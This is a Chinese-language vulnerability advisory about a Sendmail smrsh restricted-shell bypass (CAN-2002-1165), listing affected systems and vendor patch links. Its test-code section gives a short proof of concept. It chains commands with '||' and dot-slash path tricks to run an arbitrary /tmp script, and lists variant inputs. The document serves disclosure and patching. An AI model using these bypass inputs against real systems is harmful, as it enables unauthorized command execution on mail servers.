Sendmail SMRSH存在访问验证漏洞发布时间:2002-10-01 更新时间:2002-11-13 严重程度:中 威胁程度:普通用户访问权限 错误类型:输入验证错误 利用方式:客户机模式 BUGTRAQ ID:5845 CVE(CAN) ID:CAN-2002-1165 受影响系统 NetBSD NetBSD 1.5详细描述 Sendmail是一款流行的免费开放源代码的邮件传输程序,由Sendmail Consortium维护,可以运行于大多数的Unix/Linux平台。 smrsh是用来保护限定环境外执行命令,然而当命令输入包含双管道符(||)或混合点(.)和斜杠(/),用户可以绕过smrsh的检查超出限定环境去执行命令。 测试代码 $ echo "echo unauthorized execute" > /tmp/unauth $ smrsh -c ". || . /tmp/unauth || ." /bin/sh: /etc/smrsh/.: is a directory unauthorized execute OR one of the following types of commands: smrsh -c "/ command" smrsh -c "../ command" smrsh -c "./ command" smrsh -c "././ command" 解决方案 Users of Gentoo Linux are advised to upgrade using the following commands: emerge rsync emerge sendmail emerge clean Conectiva has released an advisory. Fixes are available. NetBSD NetBSD 1.5: NetBSD NetBSD 1.5.1: NetBSD NetBSD 1.5.2: NetBSD NetBSD 1.5.3: NetBSD NetBSD 1.6: OpenBSD OpenBSD 2.1: OpenBSD OpenBSD 2.2: OpenBSD OpenBSD 2.3: OpenBSD OpenBSD 2.4: OpenBSD OpenBSD 2.5: OpenBSD OpenBSD 2.6: OpenBSD OpenBSD 2.7: OpenBSD OpenBSD 2.8: OpenBSD OpenBSD 2.9: OpenBSD OpenBSD 3.0: OpenBSD Patch 034_smrsh.patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.0/common/034_smrsh.patch OpenBSD OpenBSD 3.1: OpenBSD Patch 017_smrsh.patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.1/common/017_smrsh.patch OpenBSD OpenBSD 3.2: OpenBSD Patch 003_smrsh.patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.2/common/003_smrsh.patch Sendmail Consortium Sendmail 8.11.6: Conectiva Upgrade sendmail-8.11.6-1U60_2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/sendmail-8.11.6-1U60_2cl.i386.rpm Conectiva Upgrade sendmail-cf-8.11.6-1U60_2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/sendmail-cf-8.11.6-1U60_2cl.i386.rpm Conectiva Upgrade sendmail-doc-8.11.6-1U60_2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/sendmail-doc-8.11.6-1U60_2cl.i386.rpm Conectiva Upgrade sendmail-8.11.6-1U60_2cl.src.rpm ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/sendmail-8.11.6-1U60_2cl.src.rpm Conectiva Upgrade sendmail-8.11.6-1U70_2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/7.0/RPMS/sendmail-8.11.6-1U70_2cl.i386.rpm Conectiva Upgrade sendmail-cf-8.11.6-1U70_2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/7.0/RPMS/sendmail-cf-8.11.6-1U70_2cl.i386.rpm Conectiva Upgrade sendmail-doc-8.11.6-1U70_2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/7.0/RPMS/sendmail-doc-8.11.6-1U70_2cl.i386.rpm Conectiva Upgrade sendmail-8.11.6-1U70_2cl.src.rpm ftp://atualizacoes.conectiva.com.br/7.0/SRPMS/sendmail-8.11.6-1U70_2cl.src.rpm Conectiva Upgrade sendmail-8.11.6-2U80_1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/8/RPMS/sendmail-8.11.6-2U80_1cl.i386.rpm Conectiva Upgrade sendmail-cf-8.11.6-2U80_1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/8/RPMS/sendmail-cf-8.11.6-2U80_1cl.i386.rpm Conectiva Upgrade sendmail-doc-8.11.6-2U80_1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/8/RPMS/sendmail-doc-8.11.6-2U80_1cl.i386.rpm Conectiva Upgrade sendmail-8.11.6-2U80_1cl.src.rpm ftp://atualizacoes.conectiva.com.br/8/SRPMS/sendmail-8.11.6-2U80_1cl.src.rpm Sendmail Consortium Sendmail 8.12 .0: Sendmail Consortium Patch smrsh-20020924.patch http://www.sendmail.org/patches/smrsh-20020924.patch Sendmail Consortium Sendmail 8.12.1: Sendmail Consortium Patch smrsh-20020924.patch http://www.sendmail.org/patches/smrsh-20020924.patch Sendmail Consortium Sendmail 8.12.2: Sendmail Consortium Patch smrsh-20020924.patch http://www.sendmail.org/patches/smrsh-20020924.patch Sendmail Consortium Sendmail 8.12.3: Sendmail Consortium Patch smrsh-20020924.patch http://www.sendmail.org/patches/smrsh-20020924.patch Sendmail Consortium Sendmail 8.12.4: Sendmail Consortium Patch smrsh-20020924.patch http://www.sendmail.org/patches/smrsh-20020924.patch Sendmail Consortium Sendmail 8.12.5: Sendmail Consortium Patch smrsh-20020924.patch http://www.sendmail.org/patches/smrsh-20020924.patch Sendmail Consortium Sendmail 8.12.6: Sendmail Consortium Patch smrsh-20020924.patch http://www.sendmail.org/patches/smrsh-20020924.patch 相关信息 zen-parse <zen-parse@gmx.net> 参考:http://online.securityfocus.com/advisories/4536 http://online.securityfocus.com/advisories/4555 http://online.securityfocus.com/advisories/4565 相关主页:http://www.sendmail.org/ |